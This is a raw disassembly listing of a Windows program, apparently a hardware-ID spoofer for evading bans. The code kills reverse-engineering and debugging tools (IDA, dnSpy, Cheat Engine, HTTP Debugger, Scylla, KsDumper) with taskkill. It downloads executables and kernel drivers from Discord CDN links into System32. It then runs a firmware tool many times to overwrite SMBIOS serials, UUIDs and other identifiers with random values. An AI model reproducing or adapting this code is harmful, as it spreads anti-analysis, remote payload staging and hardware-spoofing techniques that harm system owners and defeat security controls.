call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32Mobo.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769226113054_AMI.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv64.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769909780491_amifldrv64.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv32.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769582620694_amifldrv32.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windows_nfLauncher.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1139989094840152174_nfLauncher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x85f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x85f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x85f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8610]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8610]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8610]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8630]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8630]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8630]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8650]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8650]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8650]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8670]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8670]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8670]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8690]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8690]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8690]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x86b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x86b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x86b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x86d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x86d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x86d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x86f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x86f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x86f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8710]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8710]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8710]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8730]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8730]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8730]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8750]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8750]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8750]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8770]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8770]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8770]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x8790]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x8790]
call fcn.14006c020
nop
lea rcx, [rsp + 0x8790]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x87b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x87b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x87b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1e10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1e10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1e10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1e30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1e30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1e30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1e50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1e50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1e50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1e70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1e70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1e70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1e90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1e90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1e90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1eb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1eb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1eb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1ed0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1ed0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1ed0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1ef0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1ef0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1ef0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1f10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1f10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1f10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1f30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1f30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1f30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1f50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1f50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1f50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1f70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1f70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1f70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1f90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1f90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1f90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1fb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1fb0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1fb0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1fd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1fd0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1fd0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x1ff0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x1ff0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x1ff0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2010]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2010]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2010]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2030]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2030]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2030]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x2050]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2050]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2050]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2070]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2070]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2070]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2090]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2090]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2090]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x20b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x20b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x20b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x20d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x20d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x20d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x20f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x20f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x20f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2110]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2110]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2110]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2130]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2130]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2130]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2150]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2150]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2150]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2170]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2170]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2170]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2190]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2190]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2190]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x21b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x21b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x21b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x21d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x21d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x21d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x21f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x21f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x21f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2210]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2210]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2210]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2230]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2230]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2230]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2250]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2250]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2250]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2270]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2270]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2270]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2290]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2290]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2290]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x22b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x22b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x22b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x22f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x22f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x22f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2310]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2310]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2310]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2330]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2330]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2330]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2350]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2350]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2350]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2370]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2370]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2370]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2390]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2390]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2390]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x23b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x23b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x23b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x23d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x23d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x23d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CS__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x23f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x23f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x23f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2410]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2410]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2410]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2430]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2430]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2430]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2450]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2450]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2450]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IV__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2470]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2470]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2470]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2490]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2490]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2490]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x24b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x24b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x24b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SF__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x24d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x24d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x24d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x24f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x24f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x24f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BP__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2510]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2510]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2510]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2530]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2530]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2530]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2550]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2550]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2550]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CM__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2570]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2570]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2570]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CT__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2590]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2590]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2590]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CV_random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x25b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x25b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x25b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CA__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x25d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x25d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x25d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CO__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x25f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x25f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x25f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2610]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2610]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2610]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SK__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2630]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2630]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2630]
call fcn.14005d8e0
lea rdx, [0x140395420]
lea rcx, [rsp + 0x2650]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2650]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2650]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2670]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2670]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2670]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2690]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2690]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2690]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x26b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x26b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x26b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x26d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x26d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x26d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x26f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x26f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x26f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2710]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2710]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2710]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2730]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2730]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2730]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN__random__NXT_HWID_CH4NG3R__random_
lea rcx, [rsp + 0x2750]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2750]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2750]
call fcn.14005d8e0
